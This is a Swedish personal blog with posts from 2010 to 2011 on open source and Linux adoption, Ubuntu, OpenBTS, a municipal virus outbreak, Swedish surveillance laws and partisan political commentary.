Caught in the act

15/12 - Kick-off för openJamtland - regionalt kluster för öppen källkod och öppna standarder

2011-12-12T11:10:00.002+01:00

IDG.se rapporterar att öppen källkod är på nedgång. Närmare bestämt att användandet av GPL 2.x-licenser går neråt, vilket inte alls är samma sak. Ser man på det inklippta diagrammet verkar andra GPL-licenser ligga kvar på samma nivå. Andra licenser som är godkända enligt OSI nämns inte alls. Ett "hot" mot programvara med GPL2-licens är webben. GPL2 innehåller ett kryphål som gör att öppen webb-programvara som används inte behöver lämna ut källkoden. Därför byter nu många till GPL version 3.

För inte så många dagar sedan rapporterade samme journalist, Niklas Andersson, om att öppen källkod tappar fart rent generellt. Riktigt vad som menas med det, vet jag inte. Han försöker i alla fall få uttalanden från bland andra Henrik Sandklef att bekräfta hans tes, och jag vet inte om han riktigt lyckas. Kollar man dessutom bara på de allra största öppen källkodsprojekten så får man ju inte med den långa svansen av småprojekt som hela tiden tuffar vidare. Men det kanske är så att 2011 har varit ett år där öppen källkod stagnerat en aning på grund av alla uppköp och eländen. Att Oracle köpte Sun var inte speciellt bra för öppen källkodsrörelsen i stort.

Här i Jämtland går vi åt motsatt håll. Här försöker vi öka användandet av öppen källkodsprogramvara och det ska vi fira med en kick-off (-ass?) halvdag den 15 december. Jag hoppas att alla möjliga företrädare kommer till våra föreläsningar, stora företag, mindre företag, egenföretag, offentlig förvaltning, alla partierna i kommunfullmäktige och inte minst piratpartiet, vars företrädare brukar gilla sånt.

Läs mer och anmäl dig på openjamtland.se.

Varmt välkomna!

Läs även andra bloggares åsikter om it, jamtland, jämtland, open data, öppen källkod, öppna standarder

Heja ryggradslösa Annie Lööf!

2011-08-25T12:47:00.003+02:00

Det var ett tag sedan jag skrev något här och när jag gjorde det handlade det då rakt inte om ren politik. Jag känner dock att jag måste kommentera det här med Annie Lööf (fd. Johansson) och valet till Centerpartiets nya partiledare.

Centerpartiet har gått från landsbygdsparti till ett rätt menlöst "liberalt" parti som numera fungerar som Alliansens mest överflödiga stödhjul.

Annie Lööf, före detta Annie Johansson, är den politiker som höll fanan och retoriken högst när det kom till FRA-omröstningen. Hon citerade Benjamin Franklin, identifierade sig med den rakryggade Dagny Taggart från den liberala standardverket Och världen skälvde av Ayn Rand. En människa som står upp för sina åsikter och värderingar. Något som Annie sedan, efter den avancerade vuxenmobbing som kallas "partipiskan", gjorde helt om över och röstade ja.

Hon klappade sig själv på axeln över att ha fått till stånd några "integritetsskyddande" tillägg till den officiella skrivelsen, som i praktiken är helt meningslösa. Allt för att kunna leva med sig själv.

Hon verkar nu leda opinionen för att bli Centerpartiets nya partiledare. Jag hejar såklart på henne eftersom jag tror att hon behövs för att få Centerpartiet att åka ur
Riksdagen, något som jag inte tror kommer att hända om någon annan, exempelvis Anna-Karin Hatt som inte har så uselt track record, blir vald. Heja Annie!

Läs även andra bloggares åsikter om anna-karin hatt, annie johansson, annie lööf, centerpartiet, fra, fra-lagen, ryggradslösa politiker

Ubuntu-certifierade datorer!

2011-02-07T18:26:00.003+01:00

Detta var något alldeles nytt för mig, så därför slår jag på stora trumman. Alla potentiella Linuxanvändare har någon gång funderat över vilken dator som passar bäst att köra Linux på.

Ofta har man varit utlämnad till att leta upp en dator och sedan söka själv på Internet om den hårdvara som finns i den lirar tillfredsställande med den Linux-variant man valt. För det är inte alltid så att vad som funkar på en Linux-distribution per automatik fungerar på en annan. Oftast funkar det, men inte i 101 fall av 100.

Därför kom det som en glad överraskning när jag fick se att Ubuntu och företaget bakom Ubuntu - Canonical - har släppt en lista på Ubuntu-certifierade och Ubuntu-klara datorer.

Toppar listan gör Dell med i skrivande stund 36 laptop-modeller, 31 desktop-modeller, 39 server-modeller och 4 netbooks. Men med på listan finns också Lenovo, HP, Toshiba, IBM och många andra välkända datortillverkare.

Listan kan säkerligen utökas, men kräver en aktiv ansökan för att bli "partner". Jag hoppas att fler hoppar på tåget och certifierar sin hårdvara för Ubuntu.

Läs även andra bloggares åsikter om datorer, dell, fri programvara, hp, hårdvara, lenovo, linux, ubuntu, öppen källkod

Vinsterna med en heterogen IT-miljö

2010-10-21T14:43:00.003+02:00

Jonas Björk tipsade om att Stadsbyggnadsförvaltningen i Helsingborg blivit totalt utslaget av ett "asiatiskt datorvirus". Alla 200 datorer är drabbade och

"att nå personalen per mejl är i princip omöjligt."

Min gissning, utan att ha läst på, är att Stadsbyggnadsförvaltningen i Helsingborg kör Windows. Bara Windows. I och med detta blir de otroligt sårbara för virus som skrivs för just denna plattform. Det finns över en miljon virus som skrivits för Windows olika versioner. Många av dem är naturligtvis oskadliggjorda, men det kommer nya hela tiden.

De allra flesta virus som finns angriper bara en enda företeelse, det vill säga det är bara en typ av funktion i en typ av operativsystem som påverkas av ett virus. Eftersom Windows har en marknadsandel på runt 90 procent så skrivs majoriteten av alla virus för just den plattformen.

Stadsbyggnadsförvaltningen i Helsingborg har fått fem "reservdatorer" skickade till sig så att de åtminstone kan svara på epost och fem till kommer under dagen, enligt tidningsartikeln som jag länkar till ovan. Samtidigt letar man efter sätt att rensa datorerna utan att för den skull behöva installera om dem.

Dessvärre finns det inget hundraprocentigt sätt att veta att allt är som det ska vara på datorerna utan att installera om dem. Det är en oskriven grundregel att om du blivit virusdrabbad så bör du installera om datorn för att vara säker på att du blivit av med alla spår.

Om man hade satsat på en heterogen IT-miljö, uppblandad av datorer med Mac OS X eller Linux installerat hade katastrofen inte varit så total. Låt säga att man haft 20% av datorerna installerade med alternativa operativsystem. Då hade man haft 40 datorer till hands för att kunna tillgodose medborgarnas behov. I det här fallet tror jag att en sådan "merkostnad" hade lönat sig i längden.

Att installera om 200 datorer är inte billigt och inte att låta en hel förvaltning stå stilla en dag heller.

Läs även andra bloggares åsikter om datorer, helsingborg, it, linux, mac os x, microsoft, windows, öppen källkod

Linux marknadsandel en procent? Knappast!

2010-09-09T13:18:00.000+02:00

Datorkrig, de verkar alltid ha funnits och kommer kanske alltid att finnas. Slagen har varit många. C64 versus ZX Spectrum, Amiga vs. Atari, Amiga vs. PC, Mac vs. PC, Linux vs. Windows. Jag har säkert glömt ett par. Mänskligheten verkar älska att lyfta fram fördelarna för just sitt val och framhäva problemen med andra varianter. Själv är jag mest engagerad i kriget om Windows vs. Linux. Det finns mycket okunskap från båda sidor. För egen del har jag inte kört Windows på heltid sedan 2003-2004 någonstans och jag har egentligen inte så mycket att säga om de senare versionerna av Windows. Jag säger det jag vet om Linux och låter mig oftast nöja där.

En etablerad "sanning" när man tittar sig kring på nätet verkar vara att Linux har en marknadsandel som ligger runt en procent. Den främsta källan till denna siffra verkar vara webbläsarstatistik, det vill säga den andel av datorer som surfar till ett visst urval av webbplatser och som identifierar sig som någon typ av Linux. Det är också svårt att få fram någon annan typ av statistik. Försäljningsstatistik är även det en svår mätning eftersom de allra, allra flesta datorer idag säljs med någon typ av Windows-version förinstallerad. Något som i de flesta fall inte går att välja bort.

Problemen med webbläsarstatistik är flera. Först och främst är det ett urvalsproblem. Webbplatser som finns med i större mätningar är ofta sådana som betalt för att vara med där. Mindre oberoende webbplatser har sällan samma tekniska lösningar för besöksstatistik. För det andra varierar det rätt mycket mellan olika typer av webbplatser. Ars Technica är en webbplats med innehåll som attraherar rätt många teknikintresserade. Här fördelar sig webbläsarnas marknadsandel såhär:

Jämfört med Hitslink.coms undersökning där det fördelar sig på följande sätt:

Givetvis är säkerligen Hitslink.coms undersökning mer rättvisande, men jämförelsen visar att urvalet spelar en rätt stor roll. Teknikintresserade personer är troligen mer medvetna om Internet Explorers historiska säkerhetsbrister, dåliga hastighet och avvikande tolkning av internationella webbstandarder och väljer därför andra alternativ.

För det tredje "äger" Internet Explorer 6 fortfarande webben. Det är ett pinsamt och rätt störande faktum att många webbplatser fortfarande anpassar sig efter en snart 10 år gammal webbläsare, men inlåsningseffekter och slentrian har gjort att många webbplatser inte fungerar utan Internet Explorer. Ett exempel är om man vill ladda hem spelet Savage 2: A tortured soul till Linux via fileplanet.com, då denna ruta visas:

Att en nedladdning som ska köras i Linux kräver Internet Explorer 5 eller högre och dessutom Microsofts egna ActiveX-teknik som bara kan köras i Windows är i mitt tycke rätt pinsamt. Men webbprogrammerare är inte mer än människor och det innebär att man ibland tar lite för snäva genvägar. För att komma runt denna ibland godtyckliga inlåsning kan man bland annat köra Firefox-tillägget User Agent Switcher, som gör att webbläsaren kan identifiera sig som Windows med Internet Explorer. Det är såklart bara en liten del av webbanvändarna som gör på detta sätt, men det bidrar ändå till felkällorna.

En annan sak som talar för att Linux har en högre marknadsandel än den procent det tillskrivs är netbook-försälningen. Netbooks kallas ibland för "minidatorer" eller "ultrabärbara" och enligt en undersökning av företaget ABI Research gjord i slutet av förra året menar att nästan en tredjedel av alla sådana datorer i USA såldes med Linux förinstallerat. I Sverige däremot fick man under 2009 leta efter Linux-bärbara som såldes i butik, med ljus och lykta och oftast även ett medium för att kunna hitta dem. Sverige är Microsoft-land mer än Microsoft-landet självt.

Det finns givetvis inga garantier att de minidatorer med Linux som såldes inte installerades med Windows så fort ägaren kom hem, men detsamma gäller förstås det omvända. Här i Sverige vet jag många som snabbt som ögat tagit bort den begränsade Windows 7 Starter Edition och installerat någon variant av Linux istället.

En tredje faktor som talar för att Linux har en högre marknadsandel än en procent är Microsofts egna interna undersökningar. I februari 2009 höll Steve Ballmer ett smörjmöte med Wall Street som avslöjade en sak som Microsoft absolut inte erkänner i marknadsföringssammanhang, där man försöker låtsas som att Linux marknadsandel är obetydlig. Här verkar man dock mena att Linux (lila) är ett större hot än Apple (blått) och därmed bör ha en större marknadsandel än detsamma:

Att Windows största hot är piratkopiering bör dock inte komma som någon överraskning för någon. Märk väl att det står Home and Business PCs på bilden. Det bör alltså inte ha något med server-marknaden att göra.

Något som det numera talas rätt tyst om är Linux marknadsandel på andra områden. På den världsomspännande servermarknaden beräknar man att Linux har någonstans mellan 20-40%. Beräkningens stora felmarginal beror på att det är svårt att beräkna hur många installerade exemplar det finns av ett operativsystem som är fritt tillgängligt och helt gratis. En nedladdning av en skivavbild av exempelvis CentOS, den helt fria Red Hat Enterprise Linux-klonen, kan användas till en eller femtio servrar. Eller tio tusen. Det finns inget bra sätt att avgöra detta bortom allt tvivel.

En annan av Linux starka områden är inbäddade system. Googles Android-plattform som används på mängder av telefoner är baserad på Linux-kärnan. Här finns en lista på system som har Linux installerat. Här ingår bland annat:

Datorer
Routers (ex)
Nätverkslagring (ex)
Nätverksuppkopplade mediaspelare (ex)
TV-apparater (ex)
Digitala Videoinspelare (ex)
TV-boxar (ex)
Smartphones (ex)
MP3-spelare (ex)
E-boksläsare (ex)
Spelkonsoller (ex)
Tablet PC (typ iPad) (ex)
och mycket annat

Vissa bedömare placerar Linux marknadsandel på skrivbordsdatorer mellan som lägst 1-2 procent och som högst 5 procent. Räknar man in telefoner, mediaspelare, tevear, servrar och annat jox blir siffran högre.

Andra, bland annat Microsoft, menar att Linux har en större marknadsandel än Apple, vilket borde lägga dem någonstans mellan 8-10 procent av marknaden.

Oavsett om detta är glädjekalkyler eller dystopi kan vi nog enas om att Linux tid som en marginell spelare utan framtid har passerat.

Gällande Linux självt kan man älska eller hata det, men man kan inte bortse ifrån det. Linux är här för att stanna och i dess fotspår, öppen källkod och fri programvara.

Läs även andra bloggares intressanta åsikter om apple, datorer, fri programvara, linux, microsoft, mobiltelefoner, öppen källkod

GSM-nät med öppen källkod till en tiondel av kostnaden?

2010-08-31T14:44:00.000+02:00

Slashdot har idag en nyhet från Network world som jag ler lite över när jag läser.

Tydligen finns det en festival (eller nåt) som heter Burning Man som går av stapeln just i detta nu. Den äger rum i Black Rock Desert, som ligger i Nevada mellan Jacksonbergen i öst och Calicobergen i väst. Det är precis lika öde och isolerat som det låter. Och stekhett på dagarna och svinkallt om nätterna. Det har heller ingen större mobiltäckning. Så för de runt 50 000 deltagarna bygger man upp ett mobiltelefonnät kring Black Rock City, staden som växer fram en vecka om året för just detta evenemang.

Arrangörerna har valt att använda Burning Man-festivalen som en test-bädd för GSM-teknologi med öppen källkod. Genom att kombinera ihop olika tekniker och produkter med öppen källkod har man lyckats få till ett system som existerar med vanliga GSM-telefoner utan modifiering.

Ett testsystem med öppen källkod som har en räckvidd på några få meter.

Med öppen källkodsprogramvaran Asterisk som växelsystem och Universal Software Radio Peripheral (USRP), en hårdvaruenhet för radiosändning och den öppna programvaran OpenBTS och Linux, har man fått till ett system som presenterar sig som en vanlig GSM-sändare och kopplar samtal över Voice over IP (VoIP).

Allt till ungefär en tiondel av kostnaden för ett konventionellt GSM-system (enligt OpenBTS). Öppen källkodssystemet är "lika stort som en skokartong" och kräver ungefär 50 Watt för att drivas, vilket innebär att man kan dra runt det med vindkraft eller solenergi. Jämfört med ett konventionellt system som kräver några tusen watt är detta således ett väldigt miljövänligt alternativ.

OpenBTS-systemet har samma räckvidd som en vanlig basstation, det vill säga maximalt 35 kilometer och standard 20 kilometer, beroende på geografin och antennhöjden och så vidare.

Ett sjukhus i Port au Prince använde OpenBTS under två veckor efter jordbävningen på Haiti och personal på plats kunde börja använda systemet ungefär en timma efter att det levererats. Sålunda är systemet både billigt och ickekomplext.

FN och Internationella Teleunionen (ITU) har i undersökningar noterat att när man tillgodoser befolkningen med kommunikation stiger hälsotalen, välbefinnandet och utbildningsnivån. Ett sådant här system kräver inte användaren på mer än kanske 20-30 kronor i månaden för att gå ihop ekonomiskt, menar en av grundarna till Kestrel Signal Processing, företaget bakom produkten.

Det kanske kan innebära stora förändringar för de 60% av landmassan och de 40% av världens befolkning som ännu saknar telefonförbindelser.

Jag vet inte hur det är med er, men jag är bra sugen på att ta hem källkoden och börja bygga en egen gsm-station...

Läs även andra bloggares intressanta åsikter om asterisk, datorer, fri programvara, gsm, linux, openbts, telefoni, öppen källkod

Döskallar: en serie om Fri programvara, DRM, upphovsrätt, CC och pirater

2010-08-18T05:12:00.003+02:00

Döskallar är ursprungligen en fransk serie som tack vare att den sprids med Creative Commons-licens har kunnat översättas till svenska. Den behandlar upphovsrätt, Digital Rights (Restrictions) Management, ACTA-avtalet, Fri programvara, Creative Commons och mycket annat på runt 60 tecknade sidor. En ypperlig introduktion till den digitala världen och dess möjligheter och utmaningar. Läs den!

Den skulle förmodligen göra sig väldigt bra som tryckt seriealbum i en viss valrörelse. Om jag hade varit valstrateg skulle åtminstone jag använt den.

Idag är det dessutom en månad kvar till Software Freedom Day. Värt att uppmärksamma.

Läs även andra bloggares åsikter om creative commons, datorer, drm, fri programvara, gnu, linux, upphovsrätt

Få lokal support och sociala diskussioner om Linux

2010-08-03T13:25:00.007+02:00

I samarbete med ubuntu.se har vi skapat ett antal epostlistor för svenska städer med omnejd.

Varför?
Andra större operativsystem njuter av lyxen att nästan alla har någon i släkten eller bekantskapskretsen som är "expert". Någon som kan hjälpa till när problemen hopar sig och som installerar program och tar bort virus (i den mån de finns, på Linux är det ju skralt med dem) och är allmänt hjälpsamma. Ubuntu har ännu inte den lyxen på grund av sin lilla användarbas. Vi Linuxanvändare måste hålla ihop så gott det går. Därför föddes idén om lokala sändlistor.

Vad ska de användas till?
Som ett första led i att få till stånd lokala användargrupper har vi skapat ett antal epost-listor. På epostlistorna kan man prenumerera och få kontakt med någorlunda lokala Ubuntu-/Linux-användare kring den stad man bor nära. Kanske kan man träffas och lösa problem eller utvecklas tillsammans. Det är i alla fall vår dröm.

Listorna används också för att planera release-träffarna som infaller den 10 oktober 2010.

Begränsningar
Vi är medvetna om att det finns vissa vita fläckar på kartan än så länge, men vi ska försöka fylla på listan allt eftersom. Om du känner att du saknar en lista för en stad nära dig, skriv en kommentar nedan så får vi försöka lösa det. I dagsläget kan vi inte ha hur små orter som helst eftersom vi har en begränsad användarbas.

Listan är inte begränsad till enbart Ubuntu-användare. Även användare av andra Linux-distributioner kan vara med. Men listan är absolut inte avsedd för några distributionskrig, dist-spam eller annat meningslöst.

Orter
Här är orterna som just nu har en sändlista associerad till sig.

Borlänge

Borås

Gotland

Gävle

Göteborg

Halmstad

Helsinborg

Jönköping

Kalmar

Karlstad

Linköping

Lund

Malmö

Norrköping

Skövde

Stockholm

Sundsvall

Trollhättan

Umeå

Uppsala

Västerås

Växjö

Örebro

Östersund

Hur går jag med?
Klicka på länken till den ort du vill ha epost kring. Du behöver sedan fylla i en epostadress och ett lösenord som du använder om du vill ändra inställningar för listan.

Du får sedan ett bekräftelsebrev till samma epostadress. Du behöver svara på det brevet, alternativt klicka på länken i brevet för att aktivera ditt medlemsskap i epostlistan.

När du gjort det, får du ett välkomstbrev från listan och du kan börja skicka epost. I skrivande stund har snart 100 användare anslutit sig och ju fler det blir, desto bättre blir diskussionerna, allt enligt nätverkseffekten. Gå med du också!

Läs även andra bloggares intressanta åsikter om datorer, fri programvara, it, linux, lokala användargrupper, ubuntu, öppen källkod

Linux: Det är jobbigt att bli nybörjare igen

2010-07-29T06:30:00.004+02:00

Det finns ganska många så kallade Power Users därute. De som har tio-tjugo års datorvana och kan sitt Windows eller Mac OS X utan och innan och därför kallar sig datorexperter. Många rätteligen så. Många av dessa är också såpass trygga i sitt Windows-användande att de vågar ge sig ut på nya spännande strapatser, som att installera ett annat operativsystem. Ubuntu är ofta första stoppet på vägen.

Det man gärna glömmer då, är att förutsättningarna är nya. Helt nya. Även om skrivbordsmetaforen är gemensam, finns det ett helt annorlunda system därunder. Ett system som inte fungerar som man är van vid.

Misstag är väldigt lätta att göra. Kanske är man så van vid att surfa till programtillverkarens hemsida och ta hem program den vägen att man gör det av bara farten. Även om pakethanteraren i Linuxsystemet hanterar saken bättre, hämtar man hem ett binärpaket från nVidia, OpenOffice.org eller Java.com och följer instruktionerna för installation på hemsidan.

Och visst får man till det som det är tänkt, men i processen bryter man kanske alla beroendeknytningar till resten av systemet. Det är lätt att göra bort sig i ett system som man inte känner till hur det fungerar.

Det finns rekommenderade tillvägagångssätt för allt. Fråga gärna först, innan du blir så frustrerad att du slänger ut Linux för att "det är skit" och inte fungerar som du vill.

Många är de som på sin första Linux-dag har börjat installera en jBoss-server, ett mediacenter och börjat tweaka skrivbordet från standardutseende till oigenkännlighet till oanvändbarhet. Kanske har man velat ha en betaversion av "det senaste" och av bara farten totalt gått in i väggen. I hundranittio.

Det är en sak att köra bil. Men bara för att du kan det och grundläggande trafikregler innebär det inte att du för den sakens skull kan framföra en motorcykel i samma hastigheter. Just det har jag lärt mig den hårda vägen. Datorvärlden är förvisso inte lika hård mot kroppen, men den kan stuka ett och annat psyke rätt hårt.

Så till alla er som som har decennier av erfarenhet av andra system och överväger att börja med Linux, ta det lite lugnt i början. Det är av misstagen man lär sig, men gör inte så många misstag att du börjar klandra systemet.

Skynda långsamt.

Läs även andra bloggares åsikter om datorer, fri programvara, linux, nybörjare, ubuntu, öppen källkod

Det blir Linux för Ryssland 2011

2010-07-27T14:14:00.002+02:00

Spekulationerna har varit långa och många kring Rysslands Linux-satsning för sina skolor som först rapporterades om 2007. Då var budet att Linux skulle vara utrullat i alla skolor senast 2009.

Nu är det som bekant 2010 och ännu har vi inte sett något större genomslag för Linux i Ryssland. Nu meddelar dock IDG.se (via Moscow Times) att Ryssland satsar 2,4 miljarder årligen för att skapa ett Linux-system för den ryska staten. Man skriver att detta system kommer att vara baserat på Linux "till 90 procent", hur det nu kan vara det?

När Ryssland senast gick ut med sina Linuxplaner, satte Microsoft igång det stora marknadsföringsmaskineriet och erbjöd Ryssland Windows 7 för nästan inga pengar alls. Det satte effektivt käppar i hjulet för Linux-migreringen.

Nu vill man också utveckla en nationell sökmotor för 100 miljoner dollar årligen. Detta i ett försök att även konkurrera med Google. Uppenbarligen tänker Ryssland nationalisera sina IT-tillgångar så mycket som möjligt. Att skicka iväg pengar till sin forna största fiende är tydligen inte något man vill göra.

Linux-systemet kommer att vara frivilligt att implementera. Det är alltså inte obligatoriskt att gå över från en Microsoftlösning (som de flesta kör) till Linux.

Frågan är om man använder det här projektet för att pressa priserna på Microsoft-programvaror, eller om man verkligen vill gå hela vägen den här gången.

Den som lever får se.

Läs även andra bloggares åsikter om datorer, fri programvara, linux, microsoft, ryssland, öppen källkod

Spotify nu för Linux

2010-07-12T14:11:00.006+02:00

Nästan sedan Spotify öppnade sin tjänst har man kunnat köra det i Linux, via kompatibilitetslagret Wine. Spotify själva har till och med lagt upp en instruktion om hur man ska göra för att få igång det på bästa sätt.

Nu behövs snart inte Wine längre, eftersom Spotify släppt en klient för Linux, eller närmare bestämt Linux-varianterna Ubuntu och Debian.

Spotify själva skriver att "många av [deras] utvecklare som själva kör Linux, vill såklart lyssna på musik när de kodar". Här är resultatet av ett antal hack-dagar och -nätter.

Linux-klienten är fortfarande under utveckling och funkar i dagsläget bara för de med Premium-konto. Den är inte öppen källkod. Men det är en bra början.

Lathund har en instruktion om hur man lägger till programvaruförrådet till Ubuntu 10.04.

Det verkar dock som att en del beroendeproblem finns. Paketet spotify-client-gnome-support som ger möjlighet att öppna spotify-länkar från webbläsaren har ett beroende med för högt versionsnummer. Förhoppningsvis kommer det en lösning på detta under dagen.

Om du vill vara med och prata med lokala Linux-intresserade, gå med i de lokala sändlistorna till höger, just nu för 23 olika svenska städer, med omnejd. Lokala träffar utlovas.

Läs även andra bloggares åsikter om datorer, linux, spotify, ubuntu

Varför valfail, SR och SVT?

2010-06-28T08:01:00.000+02:00

Det är inte så att man blir förvånad precis. Men oavsett hur man ser på det så marginaliseras de mindre partierna till förmån för de större. Nu har förvisso sanningssägarpartiet (åtminstone enligt dem själva) Sverigedemokraterna lyckats ta sig in i politikens senaste finrum, valpejl.se. Men där stoppas all övrig konkurrens effektivt. 5 516 personer kandiderar i år till en riksdagsplats. Gemensamt för (nästan alla) dessa är att de får möjligheten att fylla i en enkät med ett antal frågor för att kunna nå ut med sitt budskap. Partipolitiskt fördelar sig dessa enligt valpejl på det här sättet:

Moderaterna: 765

Folkpartiet: 815

Centerpartiet: 756

Kristdemokraterna: 771

Socialdemokraterna: 742

Miljöpartiet: 623

Vänsterpartiet: 665

Sverigedemokraterna: 63

Övriga partiers riksdagskandidater uppgår till 316 stycken.

Dessa utgörs av (förutom synbarligen partilösa kandidater) dessa partier:

SPI - Sveriges Pensionärers Intresseparti

RS - Rättvisepartiet Socialisterna

F! - Feministiskt initiativ

PP - Piratpartiet

SKÅ - Skånepartiet

SocD - Socialradikala Demokraterna

Riksh - Rikshushållarna

ALP - Allianspartiet/Medborgarens röst

Det är ingen massiv skara partier. Det är inte ens fler än vad som kan räknas på fingrarna. Men ingen av dessa partiers kandidater har fått svara på enkäten.

Jag kan förstå om man drar gränsen för vilka partier som får en egen knapp att trycka på i systemet. Men att man går ut och skriver följande är ju bara skandalöst:

För att få svara på enkäten måste du tillhöra något av de sju nuvarande riksdagspartierna eller Sverigedemokraterna och kandidera till riksdagen.

Varför denna partibegränsning? Det kan ju knappast vara utrymmesbrist på sajten i alla fall, eftersom de övriga partiernas kandidater uppgår till knappt hälften av exempelvis ett marginalparti som Vänsterpartiets kandidater. För att inte tala på Folkpartiet, som har whopping 815 kandidater som får fylla i sina enkäter om de bara vill.

Att ha över 65 000 kandidater till kommun, landsting och riksdag med var sin ifyllda enkät är förstås orimligt. Det blir en logistisk mardröm och kan motiveras. Inte på ett enkelt sätt i dessa IT-tider, men det kan motiveras.

Att motivera att utesluta 316 av de 5516 riksdagskandidaterna låter sig inte göras lika enkelt. Hur kan man på ett rimligt sätt motivera uteslutandet av Feministiskt initiativ, som fick 2,2 procent i Europaparlamentsvalet 2009, eller Piratpartiet som fick 7,1 % av rösterna i samma val? Piratpartiet var således mer framträdande än så kallade etablerade partier som Vänsterpartiet, Centerpartiet och Kristdemokraterna.

Sverigedemokraterna fick 2,93 % i valet 2006 och fick därför statligt partistöd. Är det detta enda kriterium som utgör basen för urvalet på valpejl.se? Jag hoppas verkligen inte det.

Jag antar därför att det är en bugg någonstans och har därför rapporterat detta till valpejl@svt.se:

Hej!

Jag försöker att gå in och läsa enkätsvar av någon från följande partier:

SPI - Sveriges Pensionärers Intresseparti
RS - Rättvisepartiet Socialisterna
F! - Feministiskt initiativ
PP - Piratpartiet
SKÅ - Skånepartiet
SocD - Socialradikala Demokraterna
Riksh - Rikshushållarna
ALP - Allianspartiet/Medborgarens röst

men finner då att de saknas i systemet. Då det inte finns en rimlig
förklaring till att ni uteslutit övriga partiers 316 kandidater från att
svara men låter 5200 andra riksdagskandidater göra det, måste det
finnas en rejäl bugg någonstans i databasen, alternativt i koden som
hämtar informationen.

Eftersom jag är systemutvecklare själv förstår jag att det bara är ett
slarvigt förbiseende från er sida och hoppas på en snar förbättring. :)

MVH Mathias

Om inte sunt förnuft biter på dem så kanske en rejäl dos av tjat och gnäll gör det? Man kan bara anta att hela valpejl och den valrörelse som nu dragit igång har till uppgift att bevara status quo. Industriarbetaren och Slöddertäljebon, den bildlöse Johnny Olsson, ägare av noll bolag, skriver som vanligt läsvärt om valpejl, liksom Beelzebjörn.

Läs även andra bloggares intressanta åsikter om demokrati, demokratur, sr, status quo, svt, valfail, valpejl

Statens musiksamlingar väljer Ubuntu

2010-06-17T18:18:00.002+02:00

IDG.se rapporterar att Statens musiksamlingar, en gigantisk myndighet med 60 anställda som jag aldrig tidigare har hört talas om, går över från Windows till Ubuntu.

Man menar att bytet medför en besparing på mellan 75 000-100 000 per år, plus att man slipper uppgraderingskostnaderna till Windows 7 och allt associerat därmed, som hårdvaruuppgradering och uppgradering av kontorsprogramvara.

Den lösning de använder sig av är tunna klienter, som förlänger livslängden av datorerna till nästan det dubbla. Normalt menar man att livslängden på en dator är tre år, men då de tunna klienterna inte kräver så mycket av hårdvaran kan man istället använda datorerna i fem-sex år.

Fördelen med en lösning som bygger på tunna klienter är också att användarna inte behöver ha fasta arbetsplatser. Man kan ta med sig sitt skrivbord till vilken av datorerna som helst och fortsätta att arbeta där.

Läs även andra bloggares åsikter om datorer, fri programvara, linux, tunna klienter, ubuntu, windows, öppen källkod

USA kan säkert lita till Sverige att stänga Wikileaks

2010-06-13T09:28:00.002+02:00

Det verkar som att de federala myndigheterna i USA är på jakt efter en av webbplatsen Wikileaks förgrundsfigurer Julian Assange. Wikileaks har enligt dem kommit över runt 260 000 hemligstämplade diplomatiska meddelanden som skickats under ett flertal år, bland annat angående USAs strategi i mellanöstern.

Meddelandena ska enligt de federala myndigheterna ha läckts av en 22-årig underrättelsespecialist i den amerikanska armén vid namn Bradley Manning. Manning ska även ha tagit på sig ansvaret för att ha läckt de kontroversiella videor som kallas Collateral Murder, som visar när USAs armé dödar civila (inklusive två Reuters-journalister) i Irak.

Wikileaks är för närvarande inhyst hos den kontroversiella tjänsteleverantören PRQ i Sverige (enligt SVT).

Enligt artikeln från The Daily Beast, länkad ovan, är dock Wikileaks utspridd på flera olika servrar över världen, vilket gör den svår att stänga ner.

Jag är övertygad om att det svenska "rättssystemet" ska hjälpa till att tysta de som vill lyfta ut hemligheterna i ljuset. Eller helt enkelt sätta dem bakom galler för att de skulle kunna begå brott. Någon gång i framtiden, om inte just nu.

Det är inte lätt att vara whistleblower i dessa tidevarv.

Läs även andra bloggares intressanta åsikter om hemligstämplat, internet, irak, julian assange, läckor, sverige, usa, wikileaks

Webbstandarder: In Microsoft we trust (IE9)

2010-06-04T13:17:00.005+02:00

Av välciterade källor har vi lärt oss att det finns tre typer av lögner: lögn, förbannad lögn och statistik.

Av dessa tre kan vi nu åtminstone sluta oss till att Microsoft behärskar statistik-delen väldigt fördelaktigt. I en ganska färsk test av en betaversion av Internet Explorer 9 (IE9), kunde Microsoft stolt leverera ett testresultat för bland annat HTML5 där IE9 hade klarat sig fläckfritt.

Problemet med testet var bara att de saker som undersöktes var endast de delar där IE9 hade något som helst att komma med. Alla andra delar hade utelämnats. IE9 fick därför 100% på alla delar.

Individerna bakom freeciv.net har därför utformat ett eget test, med bara de delar där Microsofts webbläsare inte kan någonting. Från 100% till 0% på mindre än två minuter.

Så ska vi lita på Microsofts PR-avdelning eller Freeciv's egen bashing-avdelning? Svaret är förstås att vi inte ska lita på något av dem. Båda är tillrättalagda för att lyfta fram det bästa respektive sämsta med Internet Explorer 9.

Vad jag vill med den här posten är att visa på hur viktigt det är att vara källkritisk på Internet. Typ.

Läs även andra bloggares intressanta åsikter om datorer, html, html 5, ie9, internet, internet explorer, microsoft, statistik, webbstandarder

Stoppa datalagringsdirektivet 2.0

2010-06-02T19:58:00.004+02:00

Då var det dags för ytterligare en ändamålsglidning i barnens namn. 324 EU-parlamentsledamöter inklusive svenska moderater som Anna-Maria Corazza Bildt (med en svårslagen TPT), kristdemokrater som Alf "Internetgenerationen" Svensson och den allt antiliberalare Marit "död hud" Paulsen (fp), står bakom ett initiativ till att utöka datalagringsdirektivet till att omfatta även sökningar på exempelvis Google.

Förutom att resonemanget kommer att bli duktigt kostsamt och i det närmaste ogenomförbart är det roliga i resonemanget att man vill utöka direktivet för att stoppa barnpornografi.

När till och med Annie Johansson är emot, då måste det vara dåligt. Hon menar att det är tack vare Thomas Bodström som vi har direktivet. Det är tydligen lättare att peka finger än att stå upp för sina ideal när man själv ska trycka på knappen.

Utökningen motiveras med kampen mot barnpornografi. Men en sådan utökning skulle inte vara ett effektivt verktyg i detta hänseende. Det är istället ett förslag som strider mot proportionalitetsprincipen, som innebär ett kraftigt ingrepp i den personliga integriteten och som med all sannolikhet skulle innebära stora kostnader för internetoperatörerna, vilka skulle övervältras på konsumenterna. Dessutom finsn det idag effektiva vapen i kampen mot barnbornografi där det finns på frivillig väg avtal mellan teleoperatörer och polisen i detta avseende.

Byt ut "barnpornografi" mot "terrorism" så har du ett klockrent citat för att fördöma även FRA-lagen. Men att kritisera sig själv skulle aldrig komma på fråga. Som en vän skrev idag, "vi behöver inte tidningar, vi behöver journalistik".

Det känns inte helt långt borta att applicera samma resonemang på partier och politiker.

